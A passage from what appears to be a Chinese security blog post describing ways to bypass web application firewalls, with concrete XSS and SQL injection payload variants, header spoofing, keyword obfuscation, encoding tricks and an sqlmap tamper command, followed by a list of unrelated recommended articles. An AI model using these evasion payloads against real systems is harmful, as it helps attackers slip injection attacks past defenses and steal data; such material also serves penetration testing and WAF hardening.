      • 分块传输:通过Burp Suite开启"分块传输编码"(Chunked Encoding),将攻击payload分割成多个小块发送,WAF可能无法拼接检测;
      • 示例:XSS payload<script>alert(1)</script>被拦截,修改为'<scr<script>ipt>alert(1)</script>'(插入自身标签),ModSecurity的规则可能只匹配一次<script>,从而绕过;
  3. 绕过硬件WAF(如深信服WAF、启明星辰WAF)
    • WAF特征:硬件WAF通常部署在网络入口,防护规则较严格,但对HTTP协议细节支持可能不完善;
    • 绕过方法:
      • HTTP方法篡改:将'GET'请求改为'POST''PUT'等不常见方法,部分WAF只防护GET/POST请求;
      • 伪造请求头:添加'X-Forwarded-For: 127.0.0.1'(伪造本地请求)、'Referer: target.com'(伪造同源请求),部分WAF对本地/同源请求检测较宽松;
      • payload碎片化:将攻击payload拆分到多个参数中,如SQL注入'admin' or 1=1#,拆分为'?user=admin&a='&b=' or 1=1#',WAF可能未合并多个参数检测;
  4. 绕过自研WAF
    • WAF特征:企业自研WAF,防护规则可能存在逻辑漏洞(如只检测特定关键词,未考虑组合攻击);
    • 绕过方法:
      • 逻辑漏洞利用:若WAF只拦截'union select',可使用'union all select''union distinct select'绕过;若只拦截'select *',可使用'select 1,2,3'绕过;
      • 冷门函数替代:SQL注入中用'substr()'替代'substring()''concat_ws()'替代'concat()';XSS中用'onmouseover'替代'onclick''svg/onload'替代'script'
      • 示例:自研WAF拦截'select database()',修改为'select database/*!*/()'(添加MySQL注释),绕过关键词检测;
  5. 通用绕过技巧
    • 编码绕过:URL编码、Unicode编码、Base64编码、Hex编码(如SQL注入中'admin'改为'0x61646d696e');
    • 空格替代:用'+''%20''/**/''\t'(制表符)替代空格,规避WAF对空格分隔关键词的检测;
    • 工具辅助:使用SQLmap的'--tamper'参数加载绕过脚本(如'sqlmap -r request.txt -p id --tamper=space2comment,upper')、Burp Suite的Payload Processor对payload进行编码变形;
  6. 注意事项
    • 绕过WAF前,需先通过'fuzz'测试(如发送各种特殊字符、关键词),识别WAF的防护规则;
    • 避免使用过于复杂的payload,优先选择简单变形,降低被WAF拦截的概率;
    • 实战中需结合目标WAF的特点,灵活调整绕过方法,不可生搬硬套。
相关推荐
Lee川2 小时前
优雅进化的JavaScript:从ES6+新特性看现代前端开发范式
javascript·面试
Lee川6 小时前
从异步迷雾到优雅流程:JavaScript异步编程与内存管理的现代化之旅
javascript·面试
晴殇i8 小时前
揭秘JavaScript中那些“不冒泡”的DOM事件
前端·javascript·面试
绝无仅有8 小时前
Redis过期删除与内存淘汰策略详解
后端·面试·架构
绝无仅有8 小时前
Redis大Key问题排查与解决方案全解析
后端·面试·架构
AAA梅狸猫9 小时前
Looper.loop() 循环机制
面试
AAA梅狸猫9 小时前
Handler基本概念
面试
Wect10 小时前
浏览器缓存机制
前端·面试·浏览器
掘金安东尼10 小时前
Fun with TypeScript Generics:玩转 TS 泛型
前端·javascript·面试
掘金安东尼10 小时前
Next.js 企业级落地
前端·javascript·面试